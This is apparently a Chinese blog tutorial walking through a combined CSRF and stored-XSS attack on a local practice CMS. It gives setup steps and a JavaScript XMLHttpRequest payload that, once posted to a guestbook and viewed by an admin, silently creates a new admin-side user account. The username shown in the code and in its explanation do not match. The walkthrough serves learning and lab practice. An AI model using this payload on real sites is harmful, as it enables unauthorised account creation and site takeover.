CSRF+XSS组合攻击实战

2024-07-21 1033阅读

目录

0x01安装靶场

0x02分析功能点的请求接口,构造恶意请求

0x03寻找xss漏洞


0x01安装靶场

下载源码,解压到网站根目录

1.修改数据库配置文件

打开源码,进入到include目录下,打开数据库配置文件database.inc.phpCSRF+XSS组合攻击实战

将数据库的用户名和密码修改为自己数据库的用户名和密码,数据库名可以不改。然后保存。

2.导入SQL文件

方法一:使用Navicat导入

打开navicate,新建数据库,名字写为刚才我们上面的数据库名,若没有修改,数据库名就是cmsCSRF+XSS组合攻击实战

右键点击我们刚才的数据库,选择运行SQL文件(若右键之后,运行SQL文件是灰色的,则先点击打开数据库)

CSRF+XSS组合攻击实战

选择源码下的install.sql文件

CSRF+XSS组合攻击实战

然后浏览器打开访问网站。

方法二:命令行方式导入

打开命令行,win+r,输入cmd,回车,在命令行界面输入mysql -u root -p

输入密码。

创建数据库 creat database cms

选中数据库use cms,导入sql文件,source sql文件地址,

例如:source D:\phpstudy_pro\WWW\cms\install.sql

导入成功,打开浏览器访问网站。

访问路径:域名\cms\index.php

0x02分析功能点的请求接口,构造恶意请求

进入后台管理界面找到添加用户的功能点,进行抓包分析

管理员用户名admin,密码123456

CSRF+XSS组合攻击实战

添加用户,进行抓包

CSRF+XSS组合攻击实战

右键利用burpsuite自带的csrfPOC生成工具生成

CSRF+XSS组合攻击实战

把这个复制写到一个页面上,在登录到那个cms管理员账户的情况下,访问这个页面,就会发现用户里面多了一条用户记录。由于CSRF利用条件比较苛刻,需要受害者点击恶意请求。因此我们可需要借助XSS来扩大危害,借用XSS漏洞执行JS代码,让JS直接发起请求,从而不需要让受害者点击恶意请求了。

0x03寻找xss漏洞

编写恶意JS代码

xmlhttp = new XMLHttpRequest(); xmlhttp.open("post","http://localhost:8083/cms/admin/user.action.php",false); xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded"); xmlhttp.send("act=add&username=zhang&password=123456&password2=123456&button=%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7&userid=0");

代码说明

xmlhttp = new XMLHttpRequest(); 
  • 创建 XMLHttpRequest 对象:XMLHttpRequest 是 JavaScript 用于与服务器进行交互的对象。在这里,创建了一个新的 XMLHttpRequest 对象 xmlhttp。

    xmlhttp.open("post", "http://localhost:8083/cms/admin/user.action.php", false);
    • 初始化请求

      • open() 方法用于初始化一个请求。这里指定了请求方法为 POST。

      • 第一个参数 "post" 表示 HTTP 请求的方法是 POST。

      • 第二个参数 http://localhost:8083/cms/admin/user.action.php 是请求的 URL。

      • 第三个参数 false 表示同步请求(阻塞调用),即 JavaScript 执行将暂停,直到请求完成。

      xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
      • 设置请求头:setRequestHeader() 方法用于设置 HTTP 请求头。这里设置 Content-type 为 application/x-www-form-urlencoded,表示发送的数据将按照表单 URL 编码的方式进行编码。

        xmlhttp.send("act=add&username=yuanboss&password=123456&password2=123456&button=%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7&userid=0");
        • 发送请求

          send()

          方法用于发送 HTTP 请求。这里发送的数据是一个 URL 编码的字符串:

          • "act=add":操作类型是“add”,表示要添加一个用户。

          • "username=zhang":用户名是“zhang”。

          • "password=123456" 和 "password2=123456":密码是“123456”,两次确认输入。

          • "button=%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7":提交按钮的值,URL 解码后是“添加用户”。

          • "userid=0":用户 ID 为0,通常表示新用户。

          通过查询cms靶场,找到了一个留言板,因为留言板需要管理员去审核,所以可以进行一个存储型xss注入。

          在留言板留言我们刚才构造的恶意JS代码,进行xss+csrf组合攻击

          CSRF+XSS组合攻击实战

          模仿管理员去审核留言

          CSRF+XSS组合攻击实战

          打开账号管理,查看账号

          CSRF+XSS组合攻击实战

          多了一条用户名为张的用户记录。

VPS购买请点击我

免责声明:我们致力于保护作者版权,注重分享,被刊用文章因无法核实真实出处,未能及时与作者取得联系,或有版权异议的,请联系管理员,我们会立即处理! 部分文章是来自自研大数据AI进行生成,内容摘自(百度百科,百度知道,头条百科,中国民法典,刑法,牛津词典,新华词典,汉语词典,国家院校,科普平台)等数据,内容仅供学习参考,不准确地方联系删除处理! 图片声明:本站部分配图来自人工智能系统AI生成,觅知网授权图片,PxHere摄影无版权图库和百度,360,搜狗等多加搜索引擎自动关键词搜索配图,如有侵权的图片,请第一时间联系我们,邮箱:ciyunidc@ciyunshuju.com。本站只作为美观性配图使用,无任何非法侵犯第三方意图,一切解释权归图片著作权方,本站不承担任何责任。如有恶意碰瓷者,必当奉陪到底严惩不贷!

目录[+]